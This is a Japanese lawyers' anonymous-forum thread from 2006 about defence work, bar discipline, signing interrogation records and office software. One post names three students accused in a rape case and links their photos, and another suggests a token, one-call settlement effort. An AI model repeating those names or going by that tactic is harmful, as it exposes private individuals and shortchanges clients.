弁護士の方に初めてお世話になるので、こんなものかなぁとおもっていたのですが、
友人から指摘されてちょっと気になったもので…。

一度扶助協会のほうに相談にいってみようとおもいます。
ありがとうございました。

113 :無責任な名無しさん:2006/01/21(土) 10:25:29 ID:hm2feDkd
>>107
従前の割合より高い案を提示すると「今回はなんでそんなに高いんですか」と聞かれる。
弁護士ごとの和解割合のデータを蓄積しているらしい。

114 :無責任な名無しさん:2006/01/21(土) 11:40:56 ID:FET36UwZ
>>113
おれ、自分じゃないけど事務所の他の弁が0和解したことがあったらしく、それを指摘されたことがあった。
俺は俺、その弁はその弁、って答えて、何食わぬ顔で進めたらまとまった。
弁護士毎のデータを取ってることはわかるので、絶対に低い割合でまとめないようにしている。
今後の仕事に影響があるからね。


115 :無責任な名無しさん:2006/01/21(土) 20:49:39 ID:yNwJ4Px1
過払い請求で強気に出たら
他の依頼者で過払いになってない人の
支払いのこと引き合いに出されるのがムカつくね
不当利得を、しかも5〜6%(以前は0%)の利率で払えと言うのに対し
じゃあ他の依頼者の分は元本+18%以下に負けないと言いはるとは
厚かましい


116 :無責任な名無しさん:2006/01/22(日) 00:29:11 ID:pIUcxdZB
十件以上の余罪の示談交渉を頑張ってるのに
被告人から「示談まだですか!?」とか
「できないんですか!?」とか責められるもれって…orz
ああ国選。

117 :無責任な名無しさん:2006/01/22(日) 06:53:19 ID:2cV5on67
おまえが数多く盗んだから時間がかかるんだよ
と言って怒鳴っておきましょう
ま、判決に間に合えば良いじゃん

118 :無責任な名無しさん:2006/01/22(日) 06:56:13 ID:U4c6VJZi
>>117
間に合わなくてもいいじゃん。

119 :無責任な名無しさん:2006/01/22(日) 08:14:16 ID:ZKwoRRdI
>>116
示談交渉をするときは、
「大前提ですが、示談は「できない」のが普通だと考えておいて下さい。
示談はできたらラッキーなものです。
示談が成立しない場合は、こちらは示談に向けて誠実に動いたという示談交渉経緯を裁判所に出しますから。」
と言っている。

そして示談交渉をした場合、例え電話一本であっても簡単な経過報告書を作成して、
相手の態度を伝えるようにしている。

だから今まで文句が来たことはないなあ。


120 :無責任な名無しさん:2006/01/22(日) 08:47:57 ID:mADXQoEH
態度の悪い被告人だな
示談金が出せるんなら私選にしろ

121 :無責任な名無しさん:2006/01/22(日) 13:23:22 ID:bQhT9eUw
>>117
判決に間に合わないんだったら、国選でやるべきではない
民事で別に受任すべき

122 :無責任な名無しさん:2006/01/22(日) 13:28:14 ID:WxrvMmHM
国選ってことは金無いってことなんだから、示談なんてする必要なし。できる筈もなし。



とは思うがそうもなかなか言えませんね。

123 :無責任な名無しさん:2006/01/22(日) 13:42:36 ID:mADXQoEH
法テラスなら公式見解出してくれるんじゃね
そうなったらオレやらないけどwwwwwwww

124 :無責任な名無しさん:2006/01/22(日) 14:18:46 ID:+lFkVVjU
国選受けたのに、示談は民事でならやりますなんて言えんでしょう
あれの後ろに載りかねん

125 :無責任な名無しさん:2006/01/22(日) 14:25:17 ID:mADXQoEH
国選事務の範囲は公的に確定されてないんだから懲戒の対象とはならないだろう

126 :無責任な名無しさん:2006/01/22(日) 14:35:00 ID:BQd2gCZt
>125
確定のきっかけとなる事件の担当者になりたくない

127 :無責任な名無しさん:2006/01/22(日) 14:42:58 ID:+lFkVVjU
報酬要求ととられかねんこともあると思いますが、言いたかったことはその点ではありません
要は、A様から不適切弁護だの懲戒だの言われかねんと言いたかったんです
書きようが悪くて申し訳ない

128 :無責任な名無しさん:2006/01/22(日) 16:10:35 ID:ZKwoRRdI
>>124
被告人が何故国選なのかを書記官に聞いて、貧困を理由にされたら、相手との交渉で
「この被告人は貧困を理由に国選になっているので難しいんじゃないですか。」

一回だけ接触を試み、
「示談は無理でした」
と報告すればよい。

129 :無責任な名無しさん:2006/01/22(日) 16:23:15 ID:krLaJr7V
示談できるかどうかは提示内容と被害者の意思次第。
弁護人の関知するところではない。

130 :無責任な名無しさん:2006/01/22(日) 16:43:38 ID:40c8TY2D
民事事件として委任を受けて報酬をもらうべき事例であれば,示談の報酬をもらっても国選で私的報酬をもらったとはみなされないでしょう。
たとえば,Aの第三者への貸付金や未収賃金を回収して被害弁償にあてるとか。
示談は民事事件であり国選の業務の範囲外かもしれないが,Vに対する慰謝の措置を最大限講じることは,国選弁護人のするべきこと(義務とまではいわない)ではないかな。

被害金額の1%くらいしか弁償金が用意できなかった事例で,Vと接触してみたところ,VのKSに書いてあった被害感情がまるっきりKの作文だったということもあり(全く処罰を望んでいなかったのに「定型文句だから」と言われ『厳重な処罰を望む』と入れられたという)。
1%ほどの弁償金を受け取ってもらい,嘆願書を出せました。
検事からVに「嘆願書潰し」の電話がVにあったが,無事採用。むしろVが検察庁に反感を持って,こちらにその旨報告の電話をしてきた。
それを電聴にして出してやろうかと思った。

131 :無責任な名無しさん:2006/01/22(日) 17:51:14 ID:bQhT9eUw
判決出たらもう仕事終わってるだろ


132 :無責任な名無しさん:2006/01/22(日) 18:44:42 ID:SRiPW6TP
>>130
俺なら本気で出すかも。
その裁判官に、KSやPSがいかに作文かを認識させて、
今後の裁判に影響を及ぼさせるために。

133 :無責任な名無しさん:2006/01/22(日) 19:45:00 ID:ZKwoRRdI
>>130
俺なら100%出すけど。

Pは普段対応部のJに挨拶に行ったりして機嫌とっているんだから。
こういう機会にきちんと出さないと。

134 :無責任な名無しさん:2006/01/22(日) 20:21:43 ID:NBPthv9b
電聴出そうとしても不同意にされるわな。
証人に呼ぶわけにもいかないし。

135 :無責任な名無しさん:2006/01/22(日) 21:10:09 ID:SRiPW6TP
それならそれでいいよ。別に証拠にしてほしいわけではなく、
Jの意識を変えたいだけだから。

136 :無責任な名無しさん:2006/01/22(日) 22:45:21 ID:bQhT9eUw
電聴?
上申書で出すけどな。
修習生?

137 :無責任な名無しさん:2006/01/22(日) 23:10:13 ID:N6xx7ZNb
大弁の橋下先生の御令室が6人目を御懐妊。

この少子化の世の中に。。。とりあえずヾ(*~∀~*)ゞ オメデトォー

138 :無責任な名無しさん:2006/01/22(日) 23:26:09 ID:SRiPW6TP
立派やねえ、ほんと。

139 :無責任な名無しさん:2006/01/22(日) 23:54:25 ID:dSeySfTv
被告人はお金持ってないんです。
示談金出すのは身内の人で。
こちらから私選にしてとは言えないし…。
皆さまありがとうございました。

140 :無責任な名無しさん:2006/01/23(月) 00:03:17 ID:61/hLfYG
すいません。
139=116です。

141 :無責任な名無しさん:2006/01/23(月) 00:39:03 ID:yUpd4h17
示談の見通しも立たないのに金出させたらもめるやろ

142 :無責任な名無しさん:2006/01/23(月) 11:01:15 ID:hNC3mVoM
手抜きっていう意味じゃなくって意気込みとして,私選コース,被疑者援助・国選コースって感じのメニュー表が自分の中にあったりする。
ダメ?

143 :無責任な名無しさん:2006/01/23(月) 11:18:00 ID:pCHyMuEx
最新の自由と正義の戒告事案は厳しすぎると思ったのは俺だけ?

144 :109です:2006/01/23(月) 12:30:31 ID:NJ4jdwVU
>>143 
「厳しすぎる」というよりも、「おかしい」と思ってます。
弁護士会が、特定の事件の処理内容に介入するのは間違い。

文句があれば、懲戒請求者が民事訴訟をおこし、また、刑事は警察・検事が扱うもの。
弁護士会が手を出すものではない。

145 :無責任な名無しさん:2006/01/23(月) 18:41:47 ID:rBAlKdJB
堀江たいほ

146 :無責任な名無しさん:2006/01/23(月) 19:28:25 ID:/UpB/kWA
質問です。
検事や裁判官と飲んだりしますか?

147 :無責任な名無しさん:2006/01/23(月) 20:57:10 ID:qywpzjnV
たしかに,この事案で戒告になるんなら,戒告される人が国内で月間100人くらい出てもおかしくないな。

148 :無責任な名無しさん:2006/01/23(月) 20:59:14 ID:DSJMeaE1
誤った法律解釈をアドバイスして戒告になるのは過去にも事例があったはず
やむを得ないでしょう
相手方から懲戒請求がなされてるんだろうし

149 :無責任な名無しさん:2006/01/23(月) 21:06:09 ID:qywpzjnV
民法解釈を誤ったんならわからなくもないが,少し同情する。

150 :無責任な名無しさん:2006/01/23(月) 21:08:48 ID:s+dCzo1o
でもよく読むと、その後異議が出て、結構「懲戒しない」に変更されているんだよね。

151 :無責任な名無しさん:2006/01/23(月) 21:20:04 ID:1Bbp1yvF
>>146
飲むが事件の話はしないのがルール。
但し上司・組織・弁護士会の悪口はOK。

152 :109です:2006/01/23(月) 21:30:30 ID:NJ4jdwVU
>>148
誤った法律解釈をアドバイスしたので不利益をこうむる人は依頼者ですね。
その不利益を理由に依頼者から懲戒請求され、懲戒されるのはやむを得ないでしょうね。むしろ、当然です。

ここで問題なのは、相手方からの懲戒請求なんだから、弁護士界は取り上げるなって言ってるんです。
相手方に理があるのなら、本件で争うべき問題でしょう。

いわば、ヨコを使ってきたんだから、弁護士会はそれに乗せられるな、加担するなということです。
ご理解しにくいですか。

ベテ弁なら、余りにも分かり切った最近の弁護士会の理事者達の苦々しい行動傾向(社会風潮におもねる)のことだと思うんだが。

153 :無責任な名無しさん:2006/01/23(月) 21:37:32 ID:6ihkNbIb
懲戒請求者はその後請求を取り下げたけど懲戒手続は止まらないんだよね。。
これを見ても懲戒請求人の真意(本案を有利に図るため懲戒手続を利用)が分かるというもの

まぁ結局は相手に隙を見せるなってことか それにしても管理費1000万滞納するまで放置って凄いな

154 :無責任な名無しさん:2006/01/23(月) 21:58:50 ID:qywpzjnV
ずいぶん高い管理費だったんだな。
ということはそれなりにいいマンションなんじゃないかな。

さて,しばらくまた小菅は騒がしいな。

155 :無責任な名無しさん:2006/01/23(月) 22:06:44 ID:/UpB/kWA
質問です。
傷害の前科のある人が弁護士になったとき、検事や裁判官に
いじめられますか?

156 :無責任な名無しさん:2006/01/23(月) 22:12:46 ID:DSJMeaE1
高木新二郎「事業再生」(岩波新書)読まれましたか?
この内容をきちんと理解できてる人はどのくらいいるんだろうか・・

157 :無責任な名無しさん:2006/01/23(月) 22:13:20 ID:nZWb/bPi
ドムス南麻布とかなのかな?って思ったら、大阪か・・・
管理費が20〜30万のところかね。1042万と530万の滞納って。

個人的にも戒告はきついような気もするが、
弁護士って会計士や医師に比べると責任を問われる場面が少ないから
気をつけないとなと思った。

158 :無責任な名無しさん:2006/01/23(月) 22:14:51 ID:nMjeJb5T
http://transit.yahoo.co.jp/search?p=%be%ae%bf%fb&from=%cb%d9%b9%be&sort=0&num=0&htmb=select&kb=NON&chrg=&air=AIR&yymm=200601&dd=24&hh=22&m1=01&m2=01

堀江→小菅


159 :無責任な名無しさん:2006/01/23(月) 22:23:41 ID:nZWb/bPi
俺なら間違いなくこっちを選択するよ

http://transit.yahoo.co.jp/search?p=%be%ae%bf%fb&from=%cb%d9%b9%be&sort=0&num=0&htmb=select&kb=NON&chrg=&air=&yymm=200601&dd=24&hh=22&m1=01&m2=01

160 :無責任な名無しさん:2006/01/23(月) 22:35:57 ID:qywpzjnV

六本木ヒルズ→東京拘置所

 検索結果
  総距離は約18.7kmです。
  乗車区間:東京都 港区〜東京都 葛飾区
  深夜料金:適用しない
  予想運賃:\6,260円〜\6,260円

http://map.livedoor.com/map/print?P=ahzE139.43.59.3N35.39.23.4&P=bhzE139.49.5.0N35.45.13.6&SZ=640%2C820&PF=024272f7&MAP=E139.46.32.1N35.42.18.5&ZM=6

161 :無責任な名無しさん:2006/01/23(月) 22:45:44 ID:WU46tHHK
で、誰が接見行くの?

162 :無責任な名無しさん:2006/01/23(月) 23:34:49 ID:s+dCzo1o
明日、東拘に行く予定だが、記者が大勢いそうな伊予柑

163 :無責任な名無しさん:2006/01/24(火) 00:06:44 ID:x7Scy4hY
ニュースを見ていて、何で代用監獄にならなかったんだろうと思った。
東京では、立派な拘置所があるから、最初から代用監獄ではなく拘置所に
置くことが多いのかな。
拘置所だと、例え起訴前でも、夕方4時とか5時までしか接見できなかったり、
土日は接見できなかったりするの?
何だか色々と大変そうだ。

164 :無責任な名無しさん:2006/01/24(火) 00:10:16 ID:0cdNyYsD
>>163
>拘置所だと、例え起訴前でも、夕方4時とか5時までしか接見できなかったり、
>土日は接見できなかったりするの?

狙いはそれだ!
いや、マジでそう思う。

165 :無責任な名無しさん:2006/01/24(火) 00:15:41 ID:bbzs3uU5
つうか東京地検が逮捕してるから警察の留置場じゃなく拘置所なんじゃない?

166 :無責任な名無しさん:2006/01/24(火) 00:30:02 ID:H3lRVBwS
>>162
さりげなくカメラに向かって手を振って下さい。

167 :うっかり事務員:2006/01/24(火) 00:38:28 ID:Q82B3UGn
亡くなった人のサラ金からの借り入れの取引経過って開示してもらうべきですよね・・・
債権放棄(実際は保険からの充当?)すると言われ開示請求しなかった・・・
どうしよう・・・


168 :無責任な名無しさん:2006/01/24(火) 00:50:17 ID:XZ3pMido
ご自分の事務所の弁護士に聞いて下さい。
あらゆる意味でスレ違いです。

169 :無責任な名無しさん:2006/01/24(火) 00:59:48 ID:0cdNyYsD
>>165
ああ、そうか・・・。特捜だったね。

170 :無責任な名無しさん:2006/01/24(火) 02:16:07 ID:6DhtzTae
>>167
過払いの可能性があるなら開示請求
ないなら開示してもらわなくて良いと思われます。
もっとも、弁護士の方針次第です。

171 :無責任な名無しさん:2006/01/24(火) 08:30:01 ID:viv//+YT
>>163
代用監獄は警察逮捕の時だけ。
今回は検察が逮捕している。

172 :無責任な名無しさん:2006/01/24(火) 10:03:01 ID:THujHM0E
日弁連の会長選挙の電話うざい。
日頃まったく接触のないやつが、「おひさしぶりです」
なんて電話横砂。



173 :無責任な名無しさん:2006/01/24(火) 13:06:12 ID:ked8EbpH
すまんね。

174 :無責任な名無しさん:2006/01/24(火) 14:32:38 ID:24kqhlWm
許さん!(怒)

175 :無責任な名無しさん:2006/01/24(火) 14:40:34 ID:8+MwzoF7
派閥のお仕事−>嫌がられると判って電話作戦

176 :無責任な名無しさん:2006/01/24(火) 18:10:53 ID:ked8EbpH
ボス弁の交遊>>>私の交遊

177 :無責任な名無しさん:2006/01/24(火) 18:14:14 ID:ked8EbpH
妹は泣きながら言った
「おにいちゃんやめて! そんなとこ舐めちゃだめ!
そこはおしっこするところよ、きたないよ!やめて!やめて!
私が何か悪いことしたんだったら謝るからそれだけは止めて」
妹は泣き叫んだ

でも僕は止めなかった。
舌を使ってベロベロと舐め続けた







便器を

178 :無責任な名無しさん:2006/01/24(火) 18:33:31 ID:v/JO1PP7
自由と正義、今初めて読んだ。
>152が言ってるように、配線切断された人がマンションに損害賠償請求し、敗訴した
マンションが法律解釈を誤った弁護士を懲戒請求するならともかく、相手方からの
懲戒請求だったから、最初は結構驚いた。
片方がある法律解釈をして、それが最終的に間違いだったと言うなら、単なる
民事事件でないの?と思ったけど、よく事案を読んでみたら、この弁護士が
直接配線を断線したみたいだね。
やっぱり弁護士が自力救済しちゃまずいよな・・・。

179 :無責任な名無しさん:2006/01/24(火) 19:49:36 ID:dIJMyqhA
性犯罪の弁護引き受けたんだけど,
最近入ったばかりの可愛い女性事務員さんは俺のこと軽蔑してるかもorz
事務員さんは刑事のことよく知らないし。

180 :無責任な名無しさん:2006/01/24(火) 21:43:43 ID:oKtC3sHz
性犯罪傾向は感染するらしいぞ。実務庁の指導Pが言っていた。

181 :無責任な名無しさん:2006/01/24(火) 22:31:16 ID:dwRNwgBq
離婚事件ばかりやってると離婚癖が伝染しないかな。


182 :無責任な名無しさん:2006/01/24(火) 22:34:30 ID:/dR7XdGJ
>>181
むしろ、ここは嫁に謝っとこうみたいな勘所は分かったような気がするよ

183 :無責任な名無しさん:2006/01/24(火) 23:33:13 ID:fBXzNAcY
ほりえもん,弁録署名拒否だって。ヤクザじゃあるまいし。
言ったとおりに調書が作られてないのか,駄々をこねているのか。

184 :無責任な名無しさん:2006/01/24(火) 23:35:23 ID:8+MwzoF7
最近は,署名指印拒否を勧めるのが企業法務弁護士のトレンドです。

185 :無責任な名無しさん:2006/01/24(火) 23:42:10 ID:IgzpEyfx
ヤメ検が署名拒否を薦めるわけないと思うけどな

186 :無責任な名無しさん:2006/01/24(火) 23:52:39 ID:8+MwzoF7
それは甘い
ヤメ検ほど署名指印の怖さを知っている

187 :無責任な名無しさん:2006/01/24(火) 23:53:37 ID:8+MwzoF7
PS:署名指印があれは刑訴法322条,なければPSはゴミ

188 :無責任な名無しさん:2006/01/25(水) 00:29:05 ID:81dEyx7t
愛知では自白調書取られていた幼児殺人事件、無罪判決ですね
なるべくしてなった無罪だと思いますが
物証無し
自白変遷
自白と客観的状況が異なる
秘密の暴露がない
という、同じような事案で有罪確定が結構あったりするのが恐ろしい
だから検察も起訴してくるんだろうか

189 :無責任な名無しさん:2006/01/25(水) 00:29:25 ID:g1M1Zp9N
署名指印拒否ってやっぱり悪者扱いされる行為なんですかね。
KやPの作文ってホントにえげつないから,
自分は調書のニュアンスが少しでもおかしかったり,
読み聴けで聴いても意味が分からなかったりしたら,
署名指印拒否すれ,って勧めるつもりですけど・・・。
(最近初めて否認事件を受任した58期)

190 :無責任な名無しさん:2006/01/25(水) 00:35:01 ID:X3z/X0bp
>>189
やってないなら書名指印拒否は有効ですね(いわゆる検事パイ狙い)。
やっているのに否認なら,「署名指印を拒否した事実」でKSPSがブツで請求されるので要注意。



191 :189:2006/01/25(水) 00:52:07 ID:g1M1Zp9N
>>190
ホントにやってなさそうだし,物証はなさそうな事件なので,
署名指印拒否も1つの選択肢として勧めようかと思っています。
まあ,Aのほうはいじめられるんでしょうけど。

192 :無責任な名無しさん:2006/01/25(水) 00:55:27 ID:Qqy3zsqQ
>>191
いじめられるAを励ますのが起訴前弁護(捜査段階弁護)の極意ですよ。
理想は毎日接見して励ますことと合言葉「署名指印拒否」を唱えさせること。

193 :無責任な名無しさん:2006/01/25(水) 01:00:52 ID:81dEyx7t
>>190
やってる、やってないはどこで判断してるんですか。
被疑事実自体は争いがないかどうか、ということですか?

194 :無責任な名無しさん:2006/01/25(水) 01:20:05 ID:Qqy3zsqQ
>>193
Pに面談して密かに客観証拠の存否をしゃべらせる(これ大事。
Aと接見したとき否認したときの顔を見る(ボス弁はウソかホントか見抜けるらしい。

195 :60期内定者:2006/01/25(水) 02:07:51 ID:DQWMa/M5
ここの先輩方の話聞くと、勉強になりますわ

196 :無責任な名無しさん:2006/01/25(水) 04:47:11 ID:dvR9hK2i
弁護人はJPよりも被告人の嘘を見抜きやすい立場にある
でもえん罪事件の弁護団の人たちってホントに無罪だと思ってやってるのかね
有罪だと思いながらやってるんならこれほど苦痛なことはないだろうに

197 :無責任な名無しさん:2006/01/25(水) 05:26:44 ID:ZFZhgULr
国選じゃ本人が否認したら無罪主張しないと懲戒でしょ。だから当然私撰のことだよね。それはほとんどの場合無罪だと信じてやっているよ。じゃなきゃやれないよね。

198 :無責任な名無しさん:2006/01/25(水) 06:31:18 ID:MuQb2ID2
矛盾したAの無罪主張でも、Bが説得してダメなら無罪主張すべき。
「理不尽な弁明を繰り返し反省なし」と評価されても自己責任。

と考えてやっている。

199 :無責任な名無しさん:2006/01/25(水) 06:33:52 ID:nDKrJv8L
>>194
>ボス弁はウソかホントか見抜けるらしい。

やってないAを「自白させた」KやPも,
自分では嘘を見抜く力があると思い込んでたわけですが・・・

200 :無責任な名無しさん:2006/01/25(水) 07:58:17 ID:hrP4W3ie
>>199
>やってないAを「自白させた」KやPも,
>自分では嘘を見抜く力があると思い込んでたわけですが・・・ 。

いや、Bにはウソを押し通す人が珍しくないように、Pにも怪しいのを承知で調書を作り、起訴する人が居ます。
ましてや、Kには明らかなでっち上げをするのが珍しくないです。

ご用心を。  いや、人や職・地位を信じて生きることの難しい世の中になりました。


201 :無責任な名無しさん:2006/01/25(水) 09:05:26 ID:UIKeuOoP
>>190
ブツで請求されたら異議出しても採用されちゃう?

202 :無責任な名無しさん:2006/01/25(水) 12:58:51 ID:Qqy3zsqQ
>>201
採用されないけれど、開示して請求した以上、PはAQで質問できる。
これがPの狙い。
「なぜ署名指印を拒否したか?答えたくなければ答えなくて結構ですが。」
これに黙秘してももちろんいいんだし,法律上は不利益取り扱いはされない。
しかし、どっちにしろ「捜査段階から真実を供述することをせず反省の情に乏しい」と論告で叩かれることになる。
客観証拠で有罪立証ができるなら(893の典型恐喝のように)、黙秘はJの心証を害するね。

203 :無責任な名無しさん:2006/01/25(水) 13:23:57 ID:Qqy3zsqQ
自白があると一番安心するのは裁判所なんだよね

204 :無責任な名無しさん:2006/01/25(水) 13:53:21 ID:iciyKOsi
最高裁が弁論開くっていうから、O文社が再逆転するのかと思ったら、課税は適法
なんだな。

代理人はM永さんじゃないみたいだ。相変わらず勝訴判決として自分のサイトには
乗っけてるが。
●ルゼvs●ミーも、高裁で負けたのに相変わらず、勝ち事件として乗っけてるのな。


205 :無責任な名無しさん:2006/01/25(水) 15:27:42 ID:A3zDB+GJ
>>204
控訴審ではアルゼの代理人ではなかったからいいのでは?

206 :無責任な名無しさん:2006/01/25(水) 18:01:11 ID:6ClscWLQ
>>197
否認の国選は,出来る限り割りましょう。

否認事件で,被疑者ノート入れると,後でおもしろいよ。
最近回収した被疑者ノートだと,検察官が,
「検察官辞めた後弁護士になれるけど,弁護士から検察官にはなれない。だから弁護士より検察官の方がエライんだ
弁護士の言うことを聞かずに吐け!」
みたいな取り調べをやっていて,ゴマをすりまくって任検した同クラスの「人間として小さい」奴を思い出した。

207 :無責任な名無しさん:2006/01/25(水) 18:24:33 ID:S2SStRVL
しかし、神奈川県なんたら協会のサイトって...。
武部やタイゾーに絡んで目立とうとしていた大仁田と通ずるところがあるな。


208 :無責任な名無しさん:2006/01/25(水) 21:14:08 ID:1O6rjDB0
>>205
逃げ足早いな。
一審で勝ってるのに、控訴審で別の弁護士に頼むということは、
必ずしもクライアントを満足させる仕事ではなかったってことか。


209 :無責任な名無しさん:2006/01/25(水) 22:36:36 ID:hrP4W3ie
>>206
で、今はゴマすりまくって、「人間として小さい」検事に保釈相当意見をお願いする弁護人の方が「エライ」とでも言いたいのですか。

まー、国選否認事件で無罪判決をとりまくってきたというのなら、アンタに敬意を表するがな。
(ちなみに、私は、2、3年に1件は国選で無罪判決をとってきたが、公判の推移と判決を直視して、控訴しなかった公判立会検事には敬意を表している。
そして、特に自分をエライ弁護士とも思っていません。)

210 :無責任な名無しさん:2006/01/25(水) 22:51:15 ID:ubNT8g4y
>>209
なんかストレス溜まってるんですか?

211 :無責任な名無しさん:2006/01/25(水) 23:29:38 ID:A3zDB+GJ
>>209
非弁乙

212 :無責任な名無しさん:2006/01/26(木) 00:50:56 ID:ixIE/VjZ
>>203
自白があって一番安心するのは弁護人。

213 :無責任な名無しさん:2006/01/26(木) 01:07:43 ID:YzN6sYl7
>>212
出来すぎた自白調書があって否認された国選だと困るぞ。

214 :無責任な名無しさん:2006/01/26(木) 01:17:00 ID:KhJWRo6f
立ち会いが控訴するかを決める訳じゃないんだけどね。

215 :無責任な名無しさん:2006/01/26(木) 02:01:34 ID:4+OonlSh
>>209
「私は、2、3年に1件は国選で無罪判決をとってきたが」
あの〜普通,国選での否認事件自体が,年に2,3件あれば多い方だと
思うんですよね,総受任件数や地方によって多少は違うのでしょうけど。
 その中で,2,3年に1件無罪を取るのって神業だと思うんですけど・・・。
 2,3年の間に何件くらい否認事件を担当したんですか?

216 :無責任な名無しさん:2006/01/26(木) 02:04:33 ID:6TbJTIPi

シーッ!
放置推奨。

217 :206:2006/01/26(木) 10:39:41 ID:LQKHFBgT
思いがけず変な人に絡まれましたw
敬意表してもらわなくて良いので,普通の人間として行動してください。

218 :209:2006/01/26(木) 11:51:28 ID:zJ3bkfhD
>>217
失礼なことを言って申し訳ありませんでした。
これからは相手の気持ちを考えて発言したいと思います。


219 :無責任な名無しさん:2006/01/26(木) 13:31:48 ID:LzIhJemP
>2,3年に1件無罪を取るのって神業だと思うんですけど・・・。

というか、黒を白にしない限り不可能。


220 :無責任な名無しさん:2006/01/26(木) 14:10:19 ID:kyI8g1aA
大阪市による野宿生活者に対する強制立退きに関する緊急要請

こんな要請を知らない間に弁護士会の名前で出すのはやめて欲しい。
出したければ、その弁護士が個人的にやればいいのに。

221 :MS754 ◆yGUnQdhyV2 :2006/01/26(木) 18:21:19 ID:VzCiE+3T
忙しい。2ちゃんに書き込めないほど忙しい。
(「今、書き込んでいるだろう」との突っ込みはなしということで)


222 :無責任な名無しさん:2006/01/26(木) 18:25:01 ID:LQKHFBgT
今、書き込んでいるだろう

223 :無責任な名無しさん:2006/01/26(木) 18:27:27 ID:zJ3bkfhD
今、書き込んでいるだろう

224 :無責任な名無しさん:2006/01/26(木) 18:47:54 ID:j5Cvz4bY
今、書き込んでいるだろう

225 :無責任な名無しさん:2006/01/26(木) 19:47:11 ID:ddiPrskg
今、書き込んでいるだろう

226 :無責任な名無しさん:2006/01/26(木) 20:32:10 ID:ZUWPB9SA
今、書き込んでいるだろう

227 :MS754 ◆yGUnQdhyV2 :2006/01/26(木) 20:48:36 ID:zSWd86SA
今、書き込んでいるだろう

228 :無責任な名無しさん:2006/01/26(木) 21:26:25 ID:zp1UZmch
>>220
心の底から同意。

229 :無責任な名無しさん:2006/01/26(木) 21:46:07 ID:AgMFdYpt
やっぱMS754はスターだw

230 :無責任な名無しさん:2006/01/26(木) 22:33:04 ID:BJU6mty2
今、書き込んでいるだろう

231 :無責任な名無しさん:2006/01/26(木) 22:54:35 ID:AGLBFbZo
今、書き込んでいるだろう

232 :無責任な名無しさん:2006/01/26(木) 23:21:52 ID:iocBDn16
京都大学アメフト部レイプ事件

http://headlines.yahoo.co.jp/hl?a=20060126-00000011-yom-soci
http://headlines.yahoo.co.jp/videonews/nnn/20060126/20060126-00000052-nnn-soci.html

工学部
白井 淳平 http://uppp.dip.jp/src/uppp27491.jpg

農学部
池口 亮 http://uppp.dip.jp/src/uppp27492.jpg

経済学部
木戸 晶裕 http://uppp.dip.jp/src/uppp27494.jpg

233 :無責任な名無しさん:2006/01/27(金) 03:48:43 ID:0lLq9JdM

                  本    本       か    恥    馬
           そ    当    当       い    を.  と 鹿    馬
            の    の    の    .裸 て.  と か  こ に    鹿
       馬 く  笑 自    自     に か  こ け  と .な    に
  ア   鹿 ら  っ 分    分     .な い  と.    ん れ    な
  ン   に い   て も  見 が  見 っ て  ん      馬      れ
.  ト   な     た      え     え た 恥  恥    鹿
  ニ   れ.     ・      て     て ら か  を.    に
  オ         ・      く     く    い  か    な
  猪.         ・     る     る   て   け     れ
  木


234 :無責任な名無しさん:2006/01/27(金) 07:23:09 ID:eukWjip0
裁判所もついにワードになったのか。
http://okaguchi.at.infoseek.co.jp/top.htm
の1/27日記事

235 :無責任な名無しさん:2006/01/27(金) 07:48:38 ID:kldyiuQ2
そうなのか。
さすがに俺も、そろそろ起案はワードにしないといけないかな。
依頼者はみんなワードしか持っていないわけだし。
メールで送ってくれと言われてワード形式で保存して送ってるけど、連番など
微妙に変になるときもあるし。
でも、一太郎とワードは似ているのに細かい所で違うから、一度一太郎に
慣れてしまってからは、ワードにイライラしてしまうんだよね。

236 :TN:2006/01/27(金) 08:02:16 ID:50dJKWAt
変更するのはきっとソフト分の追加投資が必要となるからだろうね
オレもそうだが一太郎派はワードよりもむしろIMEになじめないと思う
オレがJならこっそり一太郎&ATOKをインストールして使うだろうな

237 :無責任な名無しさん:2006/01/27(金) 11:57:23 ID:3JFppxIR
IMEは糞というのが定説じゃないの?
最近は、Word+Atokが基本でしょ。

238 :無責任な名無しさん:2006/01/27(金) 12:33:10 ID:E9/0rh2w
ジャストシステム株は平然と値上がりしている。
まだ公式発表前だからか。

Wordは日本語文書を作るように出来ていない。
俺はいつまでも一太郎+Atokを使い続ける。
「桐」を使い続ける先生のように。

239 :無責任な名無しさん:2006/01/27(金) 12:44:41 ID:AH+hAOEs
俺も一太郎+ATOKを使い続けるよ。
一太郎2006も予約しちゃったしw


240 :無責任な名無しさん:2006/01/27(金) 12:53:07 ID:+SM9lUrD
修習の時の出費が減って助かったw

241 :無責任な名無しさん:2006/01/27(金) 12:59:55 ID:fkrEtDTa
裁判文書のA4化以降はワード一本です。
でもAtokにしてるけど。

岡口さんのHPみて驚いたんだけど、
裁判所のPCからネットつなげたりできんの?
セキュリティの関係上ネットにつなげてなかったと思うんだけど。
それとも、ブラウザとメーラがインストールされているだけっつうことかな?

242 :無責任な名無しさん:2006/01/27(金) 13:04:20 ID:dYvfDo02
>>241
IEはjpg見るのに使い、メーラーは所内LANでのみ使うのではなかろうか。
聞くところによると、裁判所のコンピュータに勝手にソフトをインストールする
のは御法度なので、ATOKをいれることもできないんだそうだ。

243 :無責任な名無しさん:2006/01/27(金) 13:10:30 ID:UVGM5+kB
それを考えると、ギコナビを入れてる弁護士ってw

244 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/01/27(金) 16:16:31 ID:wIU4O843
昨日の留守中にクボリンから直々に電話があったらしい。

245 :無責任な名無しさん:2006/01/27(金) 16:44:38 ID:AH+hAOEs
一太郎を使う,という一点においては裁判所を高く評価していたのにな・・・

246 :無責任な名無しさん:2006/01/27(金) 16:47:55 ID:kaFB8JjX
候補者3人は,今日は愛媛にいるようだ

247 :無責任な名無しさん:2006/01/27(金) 17:54:52 ID:fkrEtDTa
やっべ。今日になってようやく吸収分割の概要を知ったよ。
ホント、改正法・新法対応の勉強しないとそのうち自由と正義にのりかねないな。。。

248 :無責任な名無しさん:2006/01/27(金) 18:10:29 ID:E9/0rh2w
>>242
だから岡口Jは一太郎のマクロを熱心に作っている。
マクロなら,すでにインストールされているソフトの利用の範囲にとどまるからね。

岡口JのHP更新は,持ち込みのノートPCでやってるんでは?

249 :無責任な名無しさん:2006/01/27(金) 18:36:11 ID:kaFB8JjX
僕は吸収分割なんか頻繁にやったりしませんのでよく知らないままですが,担保法改正はちゃんと勉強してる

250 :無責任な名無しさん:2006/01/27(金) 19:25:53 ID:W5BXY7sC
担保法って平成15年に改正があったのは知ってるけど、
その後も改正があったの?

251 :無責任な名無しさん:2006/01/27(金) 19:35:09 ID:E9/0rh2w
